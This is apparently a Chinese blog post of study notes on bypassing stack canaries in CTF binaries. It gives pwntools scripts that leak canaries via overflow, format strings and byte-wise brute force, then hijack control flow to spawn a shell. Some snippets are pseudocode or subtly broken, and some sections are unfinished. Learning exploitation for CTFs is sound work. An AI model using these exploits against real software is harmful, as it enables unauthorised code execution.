Canary章节学习

文章详细介绍了如何通过栈溢出、利用格式化字符串漏洞、逐字节爆破、SSP泄露和劫持__stack_chk_fail函数来获取程序中的Canary值,以实现安全漏洞攻击。作者使用Python库如pwntools进行实践演示。
摘要由CSDN通过智能技术生成

第一节 覆盖截断字符获取canary

原理

  • Canary设计其低字节为\x00,本意是阻止被read、write等函数直接将Canary读出来。通过栈溢出将低位的\x00覆写,就可以读出Canary的值。

实践

首先我们查看汇编语言了解canary所在的地址进而方便我们进行修改,其形式大概类于mov dword [var_ch]这类的。

然后我们看他后面的跟着的寄存器在栈的哪个位置,在和这个栈的总长度做差,就是canary低字节的地址

此外,我们还要注意,为了截断一些读取函数,canary的低字节是/x00,所以我们要多加一个字节把他覆盖掉,所以我们的payload可以写成 :

payload_1 = b'a' * (0x70 - 0xc+0x1) #原文没有+0x1,不知对错,以后实践
conn.send(payload_1)
recvbytes = conn.recv()
# 获取canary
canary = u32(recvbytes[0x65:0x68].rjust(4, b'\x00'))#而canary就是0x70-0xC= 0x64开始的四个字节,因为最低字节已经被覆写,且默认为\x00,因此只要获取0x65,0x66,0x67三个字节的值,再拼接一个\x00就可以得到Canary了
print(f'Canary: {hex(canary)}')

到此canary的值已经泄露出来了,我们只要进行第二次溢出即可:

payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell)
conn.send(payload_2)
conn.recv()
conn.interactive()

第二个例题

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
r = process("./test")
shell_addr = ELF("./test").sym["houmen"]
r.recvuntil("Hello radish!n")
payload = "a"*100
r.sendline(payload)
r.recvuntil("a"*100)
canary = u32(r.recv(4))-0x0a
log.info("canary:"+hex(canary))
payload =  "a"*100 #填充
payload += p32(canary)#泄露的canary
payload += "a"*8
payload += "aaaa" #ebp
payload += p32(shell_addr) # ret addr
r.sendline(payload)
sleep(0.2)
r.interactive()
  • 为什么要减去0xa:

    canary的最低字节为0x00 printf函数或者put函数无法输出结束字符之后的字符 故上述代码中压入了100个A和回车,回车将0x00覆盖,回车的ascii码为10,10的十六进制就是0xa 0x00被0xa覆盖掉之后,剩下的高字节部分就可以泄露出来了

第二节 利用格式化字符串漏洞获取canary

原理

  • 格式化字符串漏洞可以打印出栈中的内容,因此利用此漏洞可以打印出canary的值,从而进行栈溢出。

实践

首先,我们可以效仿字符串漏洞构造一个地址,从而来看printf输出的参数在栈中的位置,以上一节的地址为例,我们知道了栈顶到canary的位置是(0x70-0xc),由于是32位,所以一个参数涵盖4个字节,所以由此推出canary是第(6+(0x70-0xc)/4=6+25)个

参数

payload_1 = b'%x-' * ( 6 + 25)

最后一个%x-对应的内容就是canary的值

recvbytes = conn.recv()
# 获取canary
canary = int(recvbytes.split(b'-')[-2], 16)
print(f'Canary: {hex(canary)}')

然后在进行第二次溢出,方法与第一节一致,不多阐述了

第三节 逐字节爆破

原理

  • 每次进程重启后的Canary是不同的,但是同一个进程中的Canary都是一样的。并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存

  • 爆破次数:对于32位ELF,低字节固定是\x00,所以只需要对三个字节进行爆破。爆破方式是先利用栈溢出覆写次低字节,如果出错的话,会报错,获得正确的次低字节的话,不会报错。获取正确的次低字节之后,再依次爆破次高字节和高字节。每个字节的可能性是256,因此3个字节的逐个爆破总次数是256+256+256=768次

实践

首先通过爆破获得canary的值

canary = b'\x00'
for i in range(3):
  for b in range(0, 256):
    payload = b'a' * (0x70 - 0xC) + canary + bytes(b)
    # 下面是伪代码
        if (recv没报错):
            canary += bytes(b)
            break

下面是一个具体的写法

canary = b'\x00'
for i in range(3):
  for j in range(0, 256):
    #conn.recvuntil(b'Hello Hacker!')
    payload = b'a' * (0x70 - 0xC) + canary + p8(j)
    conn.send(payload)
    time.sleep(0.01)
    res = conn.recv()
    if ( b"stack smashing detected" not in res):
        print(f'the {i} is {hex(j)}')
        canary += p8(j)
        break
  assert(len(canary) == i+2) #这个判断长度还有点疑惑
        
print(f'Canary : {hex(u32(canary))}')

第四节 SSP泄露

不会,以后再学思密达

第五节 劫持__stack_chk_fail函数

原理

  • 在开启canary保护的程序中,如果canary不对,程序会转到stack_chk_fail函数执行。stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。

实践

先构造地址,找出变量参数所在地址。

root@kali:~/ctf/Other/pwn/CanaryTest# ./test3
aaaa%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
aaaaff959cf8-c8-80491e4-f7f15ae0-1-f7ee4410-ff959e24-0-1-61616161-252d7825-78252d78-2d78252d-252d7825-
​

由此我们可以算出offest的取值,然后使用pwntools的fmstr的构造写出payload

payload = fmtstr_payload(10, {stack_chk_fail_got: getshell})
payload = payload.ljust(0x70, b'a')

输出payload即可

第六节 修改STL绕过canary

还没学,以后再看

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值